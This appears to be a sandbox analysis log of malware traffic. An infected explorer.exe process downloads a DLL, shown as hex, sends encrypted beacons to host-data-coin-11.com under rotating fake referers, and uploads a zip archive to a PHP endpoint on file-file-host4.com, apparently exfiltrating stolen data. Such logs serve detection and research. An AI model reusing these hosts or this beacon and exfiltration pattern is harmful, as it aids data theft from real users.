Dec 31, 2021 19:12:58.129112005 CET	2980	OUT	GET /sqlite3.dll HTTP/1.1 Host: file-file-host4.com Cache-Control: no-cache Cookie: PHPSESSID=t44a91s61u0706joml8cj91epa
Dec 31, 2021 19:12:58.186619043 CET	2983	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 31 Dec 2021 18:12:58 GMT Content-Type: application/x-msdos-program Content-Length: 645592 Connection: close Last-Modified: Wed, 08 Dec 2021 03:32:46 GMT ETag: "9d9d8-5d29a24b21380" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 37 00 00 00 00 00 94 0b 00 00 00 c0 08 00 00 0c 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89R@0B/102X@B/113
Dec 31, 2021 19:12:58.186681986 CET	2984	IN	Data Raw: 5a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 32 34 00 00 00 00 b0 01 00 00 00 10 09 00 00 02 00 00 00 74 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z@B/124t@B
Dec 31, 2021 19:12:58.186738014 CET	2985	IN	Data Raw: 04 c6 41 28 00 c6 41 29 00 c6 41 2b 00 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 2c 89 c3 80 78 28 00 0f 85 10 01 00 00 80 78 2a 00 75 1a c7 40 08 d0 07 00 00 c7 40 0c 01 00 00 00 c7 40 10 01 00 00 00 e9 ec 00 00 00 8b 00 8b 53 04 05 00 2e Data Ascii: A(A)A+,[^_UWVS,x(x*u@@@S.D$\&D$$T$`P,$5`}fUfUm]mE)`$,$5`m]muid)`$<$m]
Dec 31, 2021 19:12:58.186798096 CET	2987	IN	Data Raw: a1 18 a2 97 60 89 04 24 89 55 e4 e8 21 ff ff ff 89 1d 28 a2 97 60 8b 55 e4 89 15 2c a2 97 60 89 35 20 a2 97 60 89 3d 24 a2 97 60 8b 15 40 a2 97 60 83 ff 00 7c 1b 7f 05 83 fe 00 76 14 89 d3 c1 fb 1f b8 01 00 00 00 39 df 7c 08 7f 04 39 d6 76 02 31 Data Ascii: `$U!(`U,`5 `=$`@`\|v9\|9v1<``$1,[^_UWVS,(`t^@`5,`(``$UM\|$UMT$L$4$`$[(`5,`,[^_U8
Dec 31, 2021 19:12:58.186856985 CET	2988	IN	Data Raw: 40 a2 97 60 89 5d d8 89 da c1 fa 1f 89 55 dc 89 45 d0 99 89 55 d4 8b 15 20 a2 97 60 8b 0d 24 a2 97 60 2b 55 d0 1b 4d d4 39 4d dc 7c 0b 7f 04 39 d3 72 05 e8 fd fa ff ff 8b 45 e4 89 44 24 04 89 34 24 ff 15 34 e0 96 60 89 c3 85 c0 75 26 83 3d 28 a2 Data Ascii: @`]UEU `$`+UM9M\|9rED$4$4`u&=(`t1UT$4$4`t$4+E1`$ED$4$4`<[^_USta1{@umtP9~=u
Dec 31, 2021 19:12:58.186916113 CET	2989	IN	Data Raw: 75 e0 89 45 cc 80 fa 2e 0f 85 8b 00 00 00 01 cb bf 0a 00 00 00 eb 37 6b 75 d4 0a 8b 45 d0 f7 e7 89 45 a0 01 f2 89 55 a4 0f be 75 c4 83 ee 30 89 75 d0 89 f2 c1 fa 1f 89 55 d4 8b 45 a0 8b 55 a4 01 45 d0 11 55 d4 01 cb ff 45 c0 ff 4d cc 3b 5d c8 0f Data Ascii: uE.7kuEEUu0uUEUEUEM;]U}\|}wEB`uE;]B`u<Et<eub;]<-u<+u11!'kEt';]s
Dec 31, 2021 19:12:58.186964989 CET	2991	IN	Data Raw: c4 44 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 24 89 c1 89 55 e4 8a 00 3c 2d 75 08 41 bb 01 00 00 00 eb 0f 31 db 3c 2b 0f 94 c0 0f b6 c0 01 c1 eb 01 41 80 39 30 74 fa 31 f6 31 c0 31 d2 89 45 d8 89 55 dc 89 4d d4 eb 37 46 83 fe 0b 74 56 6b 45 dc 0a Data Ascii: D[^_UWVS$U<-uA1<+A90t111EUM7FtVkEEeEMU}EUMUMM<10x#~tu1$[^_EU]}+u}u}\|wUEtU
Dec 31, 2021 19:12:58.187006950 CET	2992	IN	Data Raw: 00 00 80 74 04 f7 d8 eb 05 b8 ff ff ff 7f c9 c3 55 89 e5 56 53 66 39 d0 0f bf c8 0f bf da 7c 19 8d 53 31 39 d1 7f 31 8d 53 1f 39 d1 7f 1b 29 d9 0f b6 91 dc 81 97 60 eb 1c 8d 71 31 89 d0 39 f3 7f 16 8d 51 1f 39 d3 7e 03 40 eb 0c 29 cb 0f b6 93 dc Data Ascii: tUVSf9\|S191S9)`q19Q9~@)`[^Uwv(.w1vQ(w2v+(w=wwwfN`UVS1ff
Dec 31, 2021 19:12:58.187088013 CET	2994	IN	Data Raw: 00 00 00 00 5b c9 c3 55 89 e5 8b 50 1c 8b 0a 89 48 20 85 c9 74 05 89 41 24 eb 0a 80 7a 1c 00 74 04 c6 42 1d 01 89 02 83 7a 04 00 75 03 89 42 04 83 7a 08 00 75 09 f6 40 18 04 75 03 89 42 08 c9 c3 55 89 e5 83 ec 18 8b 50 1c 80 7a 1c 00 74 27 83 78 Data Ascii: [UPH tA$ztBzuBzu@uBUPzt'xuB,D$D$B($`USf@HfCfu$CHCuY[Z[SX[US@tCH{u@,D$T$@($
Dec 31, 2021 19:12:58.187129974 CET	2995	IN	Data Raw: 83 78 0c 00 74 30 8b 18 8b 03 89 04 24 e8 c3 df ff ff 8b 73 04 c7 43 04 00 00 00 00 89 d8 e8 cb fe ff ff 89 73 04 8b 03 89 45 08 83 c4 10 5b 5e c9 e9 cf df ff ff 83 c4 10 5b 5e c9 c3 55 89 e5 56 53 83 ec 10 8b 5d 08 8b 03 8b 00 89 04 24 e8 81 df Data Ascii: xt0$sCsE[^[^UVS]$s$$[^UWVS,u]E>$EHEuG9Gv{GtXC__F CE,[^_*UWVS,]uE}
Dec 31, 2021 19:12:58.235904932 CET	2997	IN	Data Raw: df ff ff c7 43 5c 00 00 00 00 c7 43 60 00 00 00 00 c7 43 34 00 00 00 00 83 c4 10 5b 5e c9 c3 55 89 e5 0f b6 ca 83 f9 0a 74 05 83 f9 0d 75 07 89 50 28 c6 40 0f 06 89 d0 c9 c3 55 89 e5 83 ec 18 8b 10 8b 52 2c 85 d2 74 13 89 04 24 ff d2 89 c2 b8 00 Data Ascii: C\C`C4[^UtuP(@UR,t$~~USxu@<tC<[[UVS@dpC*C\C`-[^UWV

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49817	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:58.185741901 CET	2981	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mlsdjxn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 174 Host: host-data-coin-11.com
Dec 31, 2021 19:12:58.185766935 CET	2981	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8c 66 5d 02 c9 a1 c1 64 05 c1 cd 02 Data Ascii: lIw3xKaEMnXwmDu$f]d\|?'MzuQMX__-C(0-~R2\|1$ 5RR'RhD=<)#4"
Dec 31, 2021 19:12:58.260613918 CET	3024	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49818	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:58.382777929 CET	3194	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ulttivelh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: host-data-coin-11.com
Dec 31, 2021 19:12:58.382931948 CET	3194	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 55 cf 89 2a Data Ascii: lIw3xKaEMnXwmDu$f]dUrx_ITWB+}IK-[a=8VWYe270R&81i+ Xx3;!r5U2&wvH<zjV]/xiH]%,p:Gg\|a[=
Dec 31, 2021 19:12:58.458705902 CET	3533	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49819	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:58.536171913 CET	3665	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dnlrqywjou.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 240 Host: host-data-coin-11.com
Dec 31, 2021 19:12:58.536199093 CET	3665	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 3f aa dd 31 Data Ascii: lIw3xKaEMnXwmDu$f]d?1<jc$EEA;LFG;wDxRe>F"&C*bY\|^_#)L#z36}c^t?Qz q38GF&N\|gN3Mp>PuqTuu
Dec 31, 2021 19:12:58.609062910 CET	3665	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 50 df 41 d7 f7 22 82 23 e9 af 9a 56 29 e6 b7 4f 29 e3 b3 b7 6d f4 9d ba 5f a9 74 92 ca 31 46 5a 3c 02 49 d3 bb 55 ab e9 5d 8f ad d6 05 c0 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XPA"#V)O)m_t1FZ<IU]`i0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49821	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:00.466905117 CET	6840	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lmrnsecsyy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 223 Host: host-data-coin-11.com
Dec 31, 2021 19:13:00.467323065 CET	6841	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8a 66 5d 02 c9 a1 c1 64 15 d5 b5 10 Data Ascii: lIw3xKaEMnXwmDu$f]d2p7nxJOLdDX)Td_zM Pg>CZp9_XP&;$Q#g3>A8brEwtu@ey+~(o}9Gg
Dec 31, 2021 19:13:00.539951086 CET	6842	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49822	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:00.615967989 CET	7210	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pjinoged.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 170 Host: host-data-coin-11.com
Dec 31, 2021 19:13:00.616020918 CET	7210	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 2c 86 ad 77 Data Ascii: lIw3xKaEMnXwmDu$f]d,wM6RYC15-A3OAEnmK\|#Ss3&x9&el%*v}5DZ>L}5v.Q
Dec 31, 2021 19:13:00.692143917 CET	7211	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49861	172.67.158.215	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49823	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:00.770937920 CET	8284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fodkvo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 369 Host: host-data-coin-11.com
Dec 31, 2021 19:13:00.770946026 CET	8284	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 0f 84 b7 6a Data Ascii: lIw3xKaEMnXwmDu$f]dj~b\D2T!ow/'^2._nWT\|r}>n0]I*&KfXwG\)$Q5BYSf7i^]p;$`u~G7!A
Dec 31, 2021 19:13:00.845197916 CET	8284	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49826	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:07.929202080 CET	12090	OUT	POST /tratata.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAA1NOZCT2VAAAIE Host: file-file-host4.com Content-Length: 93321 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=t44a91s61u0706joml8cj91epa
Dec 31, 2021 19:13:07.929338932 CET	12102	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 31 4e 4f 5a 43 54 32 56 41 41 41 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4a 4d 4f 50 48 4c 36 50 38 59 4d Data Ascii: ------AAA1NOZCT2VAAAIEContent-Disposition: form-data; name="file"JMOPHL6P8YM7YMOH.zip------AAA1NOZCT2VAAAIEContent-Disposition: form-data; name="file"; filename="JMOPHL6P8YM7YMOH.zip"Content-Type: application/octet-streamContent-
Dec 31, 2021 19:13:07.977794886 CET	12106	OUT	Data Raw: a7 3e 80 bd 3e 2c b8 2a 09 b9 67 c5 03 6d 22 25 07 2c 42 b0 c2 03 ef 1e 31 09 0f d8 e8 16 36 6f c5 8c 4d 6d 5b c0 c0 6f fe 97 f2 ff e3 a7 54 ff c3 c2 3f 6d 18 c9 2e ae 30 9e af 35 f7 65 97 66 7c 7f 47 ee 47 7d 1a 7a 21 fc 98 72 20 fb e3 14 a1 ed Data Ascii: >>,gm"%,B16oMm[oT?m.05ef\|GG}z!r 0kB3Kxxki:_~*`-[9=EeB>=_j=3TfL5?Ef}z'mUH1CdBej6#GL
